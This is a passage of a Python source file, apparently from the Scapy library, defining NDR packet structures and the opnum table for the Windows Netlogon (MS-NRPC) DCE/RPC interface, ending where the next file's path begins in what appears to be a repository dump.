PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"EncryptedNewOwfPassword\",\n            PENCRYPTED_NT_OWF_PASSWORD(),\n            PENCRYPTED_NT_OWF_PASSWORD,\n        ),\n        NDRPacketField(\n            \"EncryptedOldOwfPassword\",\n            PENCRYPTED_NT_OWF_PASSWORD(),\n            PENCRYPTED_NT_OWF_PASSWORD,\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass LSA_FOREST_TRUST_RECORD_TYPE(IntEnum):\n    ForestTrustTopLevelName = 0\n    ForestTrustTopLevelNameEx = 1\n    ForestTrustDomainInfo = 2\n    ForestTrustRecordTypeLast = ForestTrustDomainInfo\n\n\nclass LARGE_INTEGER(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [NDRSignedLongField(\"QuadPart\", 0)]\n\n\nclass LSA_FOREST_TRUST_DOMAIN_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRPacketField(\"Sid\", PRPC_SID(), PRPC_SID)),\n        NDRPacketField(\"DnsName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"NetbiosName\", UNICODE_STRING(), UNICODE_STRING),\n    ]\n\n\nclass LSA_FOREST_TRUST_BINARY_DATA(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"Length\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"Buffer\", \"\", size_is=lambda pkt: pkt.Length)\n        ),\n    ]\n\n\nclass PLSA_FOREST_TRUST_RECORD(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRIntField(\"Flags\", 0),\n        NDRInt3264EnumField(\"ForestTrustType\", 0, LSA_FOREST_TRUST_RECORD_TYPE),\n        NDRPacketField(\"Time\", LARGE_INTEGER(), LARGE_INTEGER),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\"ForestTrustData\", UNICODE_STRING(), UNICODE_STRING),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ForestTrustType\", None)\n                            in [\n                                LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName,\n                                LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelNameEx,\n                            ]\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            in [\n                                LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName,\n                                LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelNameEx,\n                            ]\n                        ),\n                    ),\n                ),\n                (\n                    NDRPacketField(\n                        \"ForestTrustData\",\n                        LSA_FOREST_TRUST_DOMAIN_INFO(),\n                        LSA_FOREST_TRUST_DOMAIN_INFO,\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ForestTrustType\", None)\n                            == LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustDomainInfo\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustDomainInfo\n                        ),\n                    ),\n                ),\n            ],\n            NDRPacketField(\n                \"ForestTrustData\",\n                LSA_FOREST_TRUST_BINARY_DATA(),\n                LSA_FOREST_TRUST_BINARY_DATA,\n            ),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n    ]\n\n\nclass PLSA_FOREST_TRUST_INFORMATION(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"RecordCount\", None, size_of=\"Entries\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Entries\",\n                [],\n                PLSA_FOREST_TRUST_RECORD,\n                size_is=lambda pkt: pkt.RecordCount,\n                ptr_lvl=1,\n            )\n        ),\n    ]\n\n\nclass DsrGetForestTrustInformation_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"TrustedDomainName\", \"\")),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass DsrGetForestTrustInformation_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ForestTrustInfo\",\n                PLSA_FOREST_TRUST_INFORMATION(),\n                PLSA_FOREST_TRUST_INFORMATION,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrGetForestTrustInformation_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass NetrGetForestTrustInformation_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ForestTrustInfo\",\n                PLSA_FOREST_TRUST_INFORMATION(),\n                PLSA_FOREST_TRUST_INFORMATION,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonSamLogonWithFlags_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"LogonServer\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n            )\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ReturnAuthenticator\",\n                PNETLOGON_AUTHENTICATOR(),\n                PNETLOGON_AUTHENTICATOR,\n            )\n        ),\n        NDRInt3264EnumField(\"LogonLevel\", 0, NETLOGON_LOGON_INFO_CLASS),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_GENERIC_INFO(),\n                            PNETLOGON_GENERIC_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_TICKET_LOGON_INFO(),\n                            PNETLOGON_TICKET_LOGON_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"LogonInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRInt3264EnumField(\"ValidationLevel\", 0, NETLOGON_VALIDATION_INFO_CLASS),\n        NDRIntField(\"ExtraFlags\", 0),\n    ]\n\n\nclass NetrLogonSamLogonWithFlags_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ReturnAuthenticator\",\n                PNETLOGON_AUTHENTICATOR(),\n                PNETLOGON_AUTHENTICATOR,\n            )\n        ),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO(),\n                            PNETLOGON_VALIDATION_SAM_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO2(),\n                            PNETLOGON_VALIDATION_SAM_INFO2,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_GENERIC_INFO2(),\n                            PNETLOGON_VALIDATION_GENERIC_INFO2,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO4(),\n                            PNETLOGON_VALIDATION_SAM_INFO4,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_TICKET_LOGON(),\n                            PNETLOGON_VALIDATION_TICKET_LOGON,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationTicketLogon\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationTicketLogon\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"ValidationInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRByteField(\"Authoritative\", 0),\n        NDRIntField(\"ExtraFlags\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNL_GENERIC_RPC_DATA(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"UlongEntryCount\", None, size_of=\"UlongData\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"UlongData\",\n                [],\n                NDRIntField(\"\", 0),\n                size_is=lambda pkt: pkt.UlongEntryCount,\n            )\n        ),\n        NDRIntField(\"UnicodeStringEntryCount\", None, size_of=\"UnicodeStringData\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"UnicodeStringData\",\n                [],\n                PUNICODE_STRING,\n                size_is=lambda pkt: pkt.UnicodeStringEntryCount,\n            )\n        ),\n    ]\n\n\nclass NetrServerGetTrustInfo_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"TrustedDcName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n    ]\n\n\nclass NetrServerGetTrustInfo_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"EncryptedNewOwfPassword\",\n            PENCRYPTED_NT_OWF_PASSWORD(),\n            PENCRYPTED_NT_OWF_PASSWORD,\n        ),\n        NDRPacketField(\n            \"EncryptedOldOwfPassword\",\n            PENCRYPTED_NT_OWF_PASSWORD(),\n            PENCRYPTED_NT_OWF_PASSWORD,\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\"TrustInfo\", PNL_GENERIC_RPC_DATA(), PNL_GENERIC_RPC_DATA)\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass OpnumUnused47_Request(NDRPacket):\n    fields_desc = []\n\n\nclass OpnumUnused47_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass PNL_DNS_NAME_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"Type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DnsDomainInfo\", \"\")),\n        NDRIntField(\"DnsDomainInfoType\", 0),\n        NDRIntField(\"Priority\", 0),\n        NDRIntField(\"Weight\", 0),\n        NDRIntField(\"Port\", 0),\n        NDRByteField(\"Register\", 0),\n        NDRIntField(\"Status\", 0),\n    ]\n\n\nclass PNL_DNS_NAME_INFO_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntryCount\", None, size_of=\"DnsNamesInfo\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"DnsNamesInfo\",\n                [],\n                PNL_DNS_NAME_INFO,\n                size_is=lambda pkt: pkt.EntryCount,\n            )\n        ),\n    ]\n\n\nclass DsrUpdateReadOnlyServerDnsRecords_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"SiteName\", \"\")),\n        NDRIntField(\"DnsTtl\", 0),\n        NDRPacketField(\"DnsNames\", PNL_DNS_NAME_INFO_ARRAY(), PNL_DNS_NAME_INFO_ARRAY),\n    ]\n\n\nclass DsrUpdateReadOnlyServerDnsRecords_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\"DnsNames\", PNL_DNS_NAME_INFO_ARRAY(), PNL_DNS_NAME_INFO_ARRAY),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NL_OSVERSIONINFO_V1(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"dwOSVersionInfoSize\", 0),\n        NDRIntField(\"dwMajorVersion\", 0),\n        NDRIntField(\"dwMinorVersion\", 0),\n        NDRIntField(\"dwBuildNumber\", 0),\n        NDRIntField(\"dwPlatformId\", 0),\n        StrFixedLenFieldUtf16(\"szCSDVersion\", \"\", length=128 * 2),\n        NDRShortField(\"wServicePackMajor\", 0),\n        NDRShortField(\"wServicePackMinor\", 0),\n        NDRShortField(\"wSuiteMask\", 0),\n        NDRByteField(\"wProductType\", 0),\n        NDRByteField(\"wReserved\", 0),\n    ]\n\n\nclass NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"ClientDnsHostName\", \"\")),\n        NDRFullEmbPointerField(\n            NDRPacketField(\n                \"OsVersionInfo_V1\", NL_OSVERSIONINFO_V1(), NL_OSVERSIONINFO_V1\n            )\n        ),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"OsName\", \"\")),\n    ]\n\n\nclass NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"HubName\", \"\")),\n        NDRFullEmbPointerField(\n            NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"OldDnsHostName\", \"\"))\n        ),\n        NDRFullEmbPointerField(NDRIntField(\"SupportedEncTypes\", 0)),\n    ]\n\n\nclass NetrChainSetClientAttributes_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"ChainedFromServerName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"ChainedForClientName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"dwInVersion\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\n                        \"pmsgIn\",\n                        NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1(),\n                        NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1,\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"dwInVersion\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                )\n            ],\n            StrFixedLenField(\"pmsgIn\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"pdwOutVersion\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\n                        \"pmsgOut\",\n                        NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1(),\n                        NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1,\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"pdwOutVersion\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                )\n            ],\n            StrFixedLenField(\"pmsgOut\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass NetrChainSetClientAttributes_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"pdwOutVersion\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\n                        \"pmsgOut\",\n                        NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1(),\n                        NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1,\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"pdwOutVersion\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                )\n            ],\n            StrFixedLenField(\"pmsgOut\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrServerAuthenticateKerberos_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"AccountType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRIntField(\"NegotiateFlags\", 0),\n    ]\n\n\nclass NetrServerAuthenticateKerberos_Response(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"NegotiateFlags\", 0),\n        NDRIntField(\"AccountRid\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nLOGON_OPNUMS = {\n    0: DceRpcOp(NetrLogonUasLogon_Request, NetrLogonUasLogon_Response),\n    1: DceRpcOp(NetrLogonUasLogoff_Request, NetrLogonUasLogoff_Response),\n    2: DceRpcOp(NetrLogonSamLogon_Request, NetrLogonSamLogon_Response),\n    3: DceRpcOp(NetrLogonSamLogoff_Request, NetrLogonSamLogoff_Response),\n    4: DceRpcOp(NetrServerReqChallenge_Request, NetrServerReqChallenge_Response),\n    5: DceRpcOp(NetrServerAuthenticate_Request, NetrServerAuthenticate_Response),\n    6: DceRpcOp(NetrServerPasswordSet_Request, NetrServerPasswordSet_Response),\n    7: DceRpcOp(NetrDatabaseDeltas_Request, NetrDatabaseDeltas_Response),\n    8: DceRpcOp(NetrDatabaseSync_Request, NetrDatabaseSync_Response),\n    9: DceRpcOp(NetrAccountDeltas_Request, NetrAccountDeltas_Response),\n    10: DceRpcOp(NetrAccountSync_Request, NetrAccountSync_Response),\n    11: DceRpcOp(NetrGetDCName_Request, NetrGetDCName_Response),\n    12: DceRpcOp(NetrLogonControl_Request, NetrLogonControl_Response),\n    13: DceRpcOp(NetrGetAnyDCName_Request, NetrGetAnyDCName_Response),\n    14: DceRpcOp(NetrLogonControl2_Request, NetrLogonControl2_Response),\n    15: DceRpcOp(NetrServerAuthenticate2_Request, NetrServerAuthenticate2_Response),\n    16: DceRpcOp(NetrDatabaseSync2_Request, NetrDatabaseSync2_Response),\n    17: DceRpcOp(NetrDatabaseRedo_Request, NetrDatabaseRedo_Response),\n    18: DceRpcOp(NetrLogonControl2Ex_Request, NetrLogonControl2Ex_Response),\n    19: DceRpcOp(\n        NetrEnumerateTrustedDomains_Request, NetrEnumerateTrustedDomains_Response\n    ),\n    20: DceRpcOp(DsrGetDcName_Request, DsrGetDcName_Response),\n    21: DceRpcOp(NetrLogonGetCapabilities_Request, NetrLogonGetCapabilities_Response),\n    22: DceRpcOp(NetrLogonSetServiceBits_Request, NetrLogonSetServiceBits_Response),\n    23: DceRpcOp(NetrLogonGetTrustRid_Request, NetrLogonGetTrustRid_Response),\n    24: DceRpcOp(\n        NetrLogonComputeServerDigest_Request, NetrLogonComputeServerDigest_Response\n    ),\n    25: DceRpcOp(\n        NetrLogonComputeClientDigest_Request, NetrLogonComputeClientDigest_Response\n    ),\n    26: DceRpcOp(NetrServerAuthenticate3_Request, NetrServerAuthenticate3_Response),\n    27: DceRpcOp(DsrGetDcNameEx_Request, DsrGetDcNameEx_Response),\n    28: DceRpcOp(DsrGetSiteName_Request, DsrGetSiteName_Response),\n    29: DceRpcOp(NetrLogonGetDomainInfo_Request, NetrLogonGetDomainInfo_Response),\n    30: DceRpcOp(NetrServerPasswordSet2_Request, NetrServerPasswordSet2_Response),\n    31: DceRpcOp(NetrServerPasswordGet_Request, NetrServerPasswordGet_Response),\n    32: DceRpcOp(NetrLogonSendToSam_Request, NetrLogonSendToSam_Response),\n    33: DceRpcOp(DsrAddressToSiteNamesW_Request, DsrAddressToSiteNamesW_Response),\n    34: DceRpcOp(DsrGetDcNameEx2_Request, DsrGetDcNameEx2_Response),\n    35: DceRpcOp(\n        NetrLogonGetTimeServiceParentDomain_Request,\n        NetrLogonGetTimeServiceParentDomain_Response,\n    ),\n    36: DceRpcOp(\n        NetrEnumerateTrustedDomainsEx_Request, NetrEnumerateTrustedDomainsEx_Response\n    ),\n    37: DceRpcOp(DsrAddressToSiteNamesExW_Request, DsrAddressToSiteNamesExW_Response),\n    38: DceRpcOp(DsrGetDcSiteCoverageW_Request, DsrGetDcSiteCoverageW_Response),\n    39: DceRpcOp(NetrLogonSamLogonEx_Request, NetrLogonSamLogonEx_Response),\n    40: DceRpcOp(DsrEnumerateDomainTrusts_Request, DsrEnumerateDomainTrusts_Response),\n    41: DceRpcOp(\n        DsrDeregisterDnsHostRecords_Request, DsrDeregisterDnsHostRecords_Response\n    ),\n    42: DceRpcOp(\n        NetrServerTrustPasswordsGet_Request, NetrServerTrustPasswordsGet_Response\n    ),\n    43: DceRpcOp(\n        DsrGetForestTrustInformation_Request, DsrGetForestTrustInformation_Response\n    ),\n    44: DceRpcOp(\n        NetrGetForestTrustInformation_Request, NetrGetForestTrustInformation_Response\n    ),\n    45: DceRpcOp(\n        NetrLogonSamLogonWithFlags_Request, NetrLogonSamLogonWithFlags_Response\n    ),\n    46: DceRpcOp(NetrServerGetTrustInfo_Request, NetrServerGetTrustInfo_Response),\n    47: DceRpcOp(OpnumUnused47_Request, OpnumUnused47_Response),\n    48: DceRpcOp(\n        DsrUpdateReadOnlyServerDnsRecords_Request,\n        DsrUpdateReadOnlyServerDnsRecords_Response,\n    ),\n    49: DceRpcOp(\n        NetrChainSetClientAttributes_Request, NetrChainSetClientAttributes_Response\n    ),\n    # 50: Opnum50NotUsedOnWire,\n    # 51: Opnum51NotUsedOnWire,\n    # 52: Opnum52NotUsedOnWire,\n    # 53: Opnum53NotUsedOnWire,\n    # 54: Opnum54NotUsedOnWire,\n    # 55: Opnum55NotUsedOnWire,\n    # 56: Opnum56NotUsedOnWire,\n    # 57: Opnum57NotUsedOnWire,\n    # 58: Opnum58NotUsedOnWire,\n    59: DceRpcOp(\n        NetrServerAuthenticateKerberos_Request, NetrServerAuthenticateKerberos_Response\n    ),\n}\nregister_dcerpc_interface(\n    name=\"logon\",\n    uuid=uuid.UUID(\"12345678-1234-ABCD-EF00-01234567CFFB\"),\n    version=\"1.0\",\n    opnums=LOGON_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_rrp.py",
